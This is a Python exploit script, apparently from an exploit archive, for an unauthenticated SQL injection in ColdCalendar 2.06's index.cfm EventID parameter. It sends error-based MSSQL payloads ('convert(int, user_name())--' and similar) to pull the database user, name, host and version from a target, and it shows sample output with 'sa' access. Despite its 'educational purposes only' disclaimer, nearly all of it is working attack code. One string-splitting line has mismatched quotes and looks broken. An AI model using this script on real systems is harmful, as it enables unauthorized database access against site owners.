ColdCalendar 2.06 SQL Injection Exploit

=======================================
ColdCalendar 2.06 SQL Injection Exploit
=======================================

#!/usr/bin/python
 
# ColdGen - coldcalender v2.06 Remote 0day SQL Injection Exploit
 
# Vendor: http://www.coldgen.com/
 
# Found by: mr_me
 
# ----------------------------------------------->
 
# Script provided 'as is', without any warranty.
 
# Use for educational purposes only.
 
# Do not use this code to do anything illegal !
 
# ----------------------------------------------->
 
# The vulnerability:
 
# ===================
 
# - SQL Injection in the index.cfm using parameters: EventID
 
#
 
# This tool assumes the target has a MSSQL backend.
 
# ./ColdCal0day.py -p localhost:8080 -t localhost:8500 -d /coldcal/
 
#
 
#   | ----------------------------------------------------------- |
 
#   |  -= ColdCalender v2.06 Remote 0day SQL Injection Exploit =- |
 
#   | --------------[ by mr_me - net-ninja.net ]----------------- |
 
#
 
# (+) Exploiting target @: http://localhost:8500/coldcal/
 
#
 
# (+) Testing Proxy...
 
# (+) Proxy @ localhost:8080
 
# (+) Building Handler..
 
#
 
# (!) Found database version:
 
#
 
#   Microsoft SQL Server 2005 - 9.00.3042.00 (Intel X86)
 
#   Aug  19 2006 20:47:07
 
#   Copyright (c) 1988-2005 Microsoft Corporation
 
#   Enterprise Edition on Windows NT 5.2 (Build 3790: Service Pack 2)
 
#
 
# (!) Found database hostname: 127.0.0.1
 
#
 
# (!) Found database user: sa
 
#
 
# (!) Found database name: coldcal
 
 
 
import sys, httplib, urllib2, urllib, re
 
from optparse import OptionParser
 
 
 
usage = "./%prog [<options>] -t [target] -d [directory]"
 
usage += "\nExample: ./%prog -p localhost:8080 -t localhost:8500 -d /coldcal/"
 
 
 
parser = OptionParser(usage=usage)
 
parser.add_option("-p", type="string",action="store", dest="proxy",
 
                  help="HTTP Proxy <server:port>")
 
parser.add_option("-t", type="string", action="store", dest="target",
 
                  help="The Target server <server:port>")
 
parser.add_option("-d", type="string", action="store", dest="directory",
 
                  help="Directory path to the CMS")
 
(options, args) = parser.parse_args()
 
 
 
def banner():
 
    print "\n\t| ----------------------------------------------------------- |"
 
    print "\t|  -= ColdCalender v2.06 Remote 0day SQL Injection Exploit =- |"
 
    print "\t| --------------[ by mr_me - net-ninja.net ]----------------- |\n"
 
 
 
if len(sys.argv) < 5:
 
    banner()
 
    parser.print_help()
 
    sys.exit(1)
 
 
 
def getProxy():
 
    try:
 
        pr = httplib.HTTPConnection(options.proxy)
 
        pr.connect()
 
        proxy_handler = urllib2.ProxyHandler({'http': options.proxy})
 
    except(socket.timeout):
 
        print "\n(-) Proxy Timed Out"
 
        sys.exit(1)
 
    except(),msg:
 
        print "\n(-) Proxy Failed"
 
        sys.exit(1)
 
    return proxy_handler
 
 
 
def setTargetHTTP():
 
    if options.target[0:7] != 'http://':
 
        options.target = "http://" + options.target
 
    return options.target
 
     
 
def getRequest(exploit):
 
    if options.proxy:
 
        try:
 
            proxyfier = urllib2.build_opener(getProxy())
 
            check = proxyfier.open(options.target+options.directory+exploit).read()
 
        except urllib2.HTTPError, error:
 
            check = error.read()
 
        except socket.error:
 
            print "(-) Proxy connection failed"
 
            sys.exit(1)
 
    else:
 
        try:
 
            req = urllib2.Request(options.target+options.directory+exploit)
 
            check = urllib2.urlopen(req).read()
 
        except urllib2.HTTPError, error:
 
            check = error.read()
 
        except urllib2.URLError:
 
            print "(-) Target connection failed, check your address"
 
            sys.exit(1)
 
    return check
 
 
 
basicInfo = {'user: ':'user_name()', 'name: ':'db_name()', 'hostname: ':'host_name()','version: \n\n\t':'@@version'}
 
def basicSploit(info):
 
    return "index.cfm?fuseaction=ViewEventDetails&EventID=1+and+1=convert(int," + info + ")--"
 
 
 
if __name__ == "__main__":
 
    banner()
 
    options.target = setTargetHTTP()
 
    print "(+) Exploiting target @: %s" % (options.target+options.directory)
 
    if options.proxy:
 
        print "\n(+) Testing Proxy..."
 
        print "(+) Proxy @ %s" % (options.proxy)
 
        print "(+) Building Handler.."
 
 
 
    for key in basicInfo:
 
        getResp = getRequest(basicSploit(basicInfo[key]))
 
        if re.findall("the nvarchar value '", getResp):
 
            dbInfo = getResp.split('the nvarchar value '')[1].split('' to data type int')[0]
 
            print "\n(!) Found database %s%s" % (key, dbInfo.rstrip())



#  0day.today [2018-01-01]  #